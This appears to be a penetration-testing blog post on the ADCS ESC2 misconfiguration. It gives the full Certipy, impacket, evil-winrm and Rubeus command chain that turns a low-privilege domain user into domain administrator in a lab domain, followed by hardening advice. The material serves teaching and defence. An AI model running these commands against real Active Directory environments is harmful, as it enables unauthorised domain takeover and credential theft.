Active Directory Certificate Services : ADCS ESC2

In PART 1 of this short ADCS series, we provided an overview of Active Directory Certificate Services and demonstrated ESC1, one of the escalation techniques. This post will walk you through ESC2, another escalation technique that allows users with low privileges to request an any-purpose certificate, which can be utilized to request a certificate on behalf of domain Users (domain admin).

Stop reading about ADCS attacks — start doing them. Our ready-to-deploy ADCS OVA lab gives you a fully configured environment with realistic ADCS misconfigurations to exploit. Download, import, and start hacking in minutes.

The ESC2 is a type of post-exploitation attack that can be only performed once we either gain a foothold on the internal network or use a white box penetration testing approach, in other words, if the client provides valid low-privilege credentials. Here are the requirements:

  • Valid credential – (pcoulson)
  • Vulnerable Certificate Template – ESC2
  • Certipy
  • BloodHound
  • impacket Tools
  • evil-winrm
  • PKINITtools

The complete Certipy commands are shown below:

certipy find -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@' 

Certipy generates outputs in JSON and TXT file formats. These files are named “_Certipy” and can be found in the current folder.

The 20240511124044_Certipy.txt file contains the vulnerable templates. However, we must identify it manually by opening the file with a regular text editor or using cat along with the grep command.

Additionally, Certipy runs BloodHound collectors that produce a zip file with the same naming convention. These BloodHound results can be imported into your BloodHound database to visualize potential domain privilege escalation paths.

  • Certipy generates BloodHound data that can be ingested into the BloodHound, v5.8.1, which can be found here: BloodHound.
  • Note: To import certipy data on the new Bloodhound v5.8.1, utilize bloodhound-python/latest SharpHound, and after collecting the data, proceed to upload it into Bloodhound v5.8.1.
  • We must specify the -old bloodhound flag to use the old version of BloodHound.
  • Note: If you opt for an older version of Bloodhound, you must use the corresponding older SharpHound version. After collecting the data, upload it to Bloodhound.
certipy find -u pcoulson -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 -old-bloodhound 

certipy find -u pcoulson -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 -vulnerable -enabled -old-bloodhound

As we can see in the image below, the pcoulson user is a member of the DOMAIN USER group and has enrollment right on the ESC2 template. In other words, it refers to permissions granted to users or groups to enroll for certificates based on that template. When we create a certificate template in ADCS, we can specify who has the right to enroll for certificates using that template.

The certificate ESC2 has the following configuration that makes it vulnerable:

  • Any Purpose: True
  • Enabled: True
  • Enrollment Rights are set to SHIELD. LOCAL/Domain Users — In other words, any domain user can request a certificate on behalf of a Domain Admin

The last configuration, called Requires Manager Approval, is set to FALSE.

A misconfiguration in the ESC2 certificate template allows users with low privileges to request an any-purpose certificate, which can be utilized to request a certificate on behalf of domain Users (domain admin). In other words, any user with enrollment rights can request a certificate, even for privileged accounts, such as a domain administrator, if they have an any-purpose certificate.

Templates vulnerable to ESC2 have the following configurations:

  • Extended Key Usage: Any Purpose
  • Enabled: True
  • Requires Manager Approval: FALSE
  • Any Purpose: True
  • Enrollment Rights are set to SHIELD. LOCALDomain Users & SHIELD. LOCAL/Authenticated Users — In other words, any domain user can request a certificate on behalf of a Domain Admin

Once we have identified the vulnerable template, our next step is to request an any-purpose certificate for the pcoulson user using the ESC2 template. Since our initial user account, “pcoulson,” is part of the Domain Users group, it can request a certificate using the vulnerable template.
The Certipy arguments required to request a certificate are as follows:

certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template ESC2 -target DC4.shield.local
certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template USER -target DC4.shield.local -on-behalf-of 'SHIELD\administrator' -pfx pcoulson.pfx

Once we have obtained the .pfx certificate file, we can request the domain admin TGT Ticket or the administrator Hash to gain access to the domain controller.

certipy auth -pfx administrator.pfx

Once we obtain either the administrator hash or the TGT Ticket, we can use different tools to log into the Domain Controller, such as:

  • impacket-smbexec
  • impacket-psexec
  • evil-winrm
  • NetExec
impacket-smbexec administrator@dc4.shield.local -hashes aad3b435b51404eeaad3b435b51404ee:12345678911111127715b47600000000
evil-winrm -i dc4.shield.local -u Administrator -H 12345678911111127715b47600000000

To obtain the administrator TGT ticket, we can use certipy in conjunction with the auth flag.

certipy auth -pfx administrator.pfx

Once we obtain the TGT Ticket, we can export the administrator.ccache file with the below command, and log in to the DC using impacket-psexec.

export KRB5CCNAME=administrator.ccache

impacket-psexec administrator@dc4.shield.local -k -no-pass

To obtain the administrator TGT ticket, we can use gettgtpkinit.py in conjunction with the -cert-pfx flag.

python gettgtpkinit.py shield.local/administrator -cert-pfx /root/MARVEL.local/ADCS/administrator.pfx PKINIT-Administrator.ccache

After obtaining the TGT Ticket, we can export the administrator.ccache file using the command below and log in to the DC using impacket-psexec.

export KRB5CCNAME=PKINIT-Administrator.ccache
impacket-psexec administrator@dc4.shield.local -k -no-pass
# NOTE : You have to have Python3 pre-installed on the windows host if not then u have to install it.npip install certipy-ad  
certipy find -dc-ip 192.168.115.180 -sspi

We will have to use the -sspi option to use Windows Integrated Authentication (SSPI), or in other words, we will use the user’s context with which we are logged in. In our case, it was pcoulson.

certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template ESC2 -target DC4.shield.local


certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template USER -target DC4.shield.local -on-behalf-of 'SHIELD\administrator' -pfx pcoulson.pfx
certipy auth -pfx administrator.pfx

Now that we have the hashes and the TGT file, we can use them for post-exploitation techniques, such as Past-The-Hash, or use the TGT Ticket (.ccache file) to log in.

set KRB5CCNAME=administrator.ccache

c:\users\lowpriv\appdata\local\programs\python\python312\scripts\psexec.py shield.local/administrator@dc4.shield.local -k -no-pass

#We can use either a Windows Powershell or CMD if we want to use the hash.

c:\users\lowpriv\appdata\local\programs\python\python312\scripts\psexec.py shield.local/administrator@dc4.shield.local -hashes aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /nowrap /getcredentials
Rubeus.exe asktgt /domain:shield.local /user:administrator /rc4:C5153B43885058F27715B476E5246A50 /ptt

ADCS, or Active Directory Certificate Services, is not inherently insecure but can be highly susceptible to misconfiguration, creating openings for unauthorized access and escalation. These unintentional misconfigurations can significantly compromise security if unchecked. Organizations must proactively address and rectify ADCS misconfigurations to ensure security and prevent escalation. Regular penetration tests or adversary emulation assessments are vital to verify security effectiveness. Most ADCS risks stem from system misconfigurations, underscoring the need for organizations to understand their security implications. We don’t claim to know every ADCS security issue, but aim to provide guidance to navigate it safely:

  • Take stock of your certificate templates and determine whether all enabled templates are currently used. Disable all unnecessary templates.
  • It is recommended that template permissions be restricted as much as possible. Provide enrollment permissions only to the necessary groups and users.
  • Modify the “Issuance Requirements” to require manual approval of issued certificates where possible.
  • Disable the “Enrollee Supplies Subject” flag where possible.
  • Remove “Client Authentication” where possible.
  • Set Any Purpose to FALSE.

Looking for a team to critically test your environment using real-world attack techniques? Explore RBT Security’s red team and penetration testing services.

  • Credentials from Password Stores – T1555
  • Steal or Forge Authentication Certificates – T1649
  • Pass The Hash – T1550.002
  • Steal or Forge Kerberos Tickets – T1558
  • Pass the Ticket – T1550.003
Share the Post:

Table of Contents

Subscribe To Our Blog

Light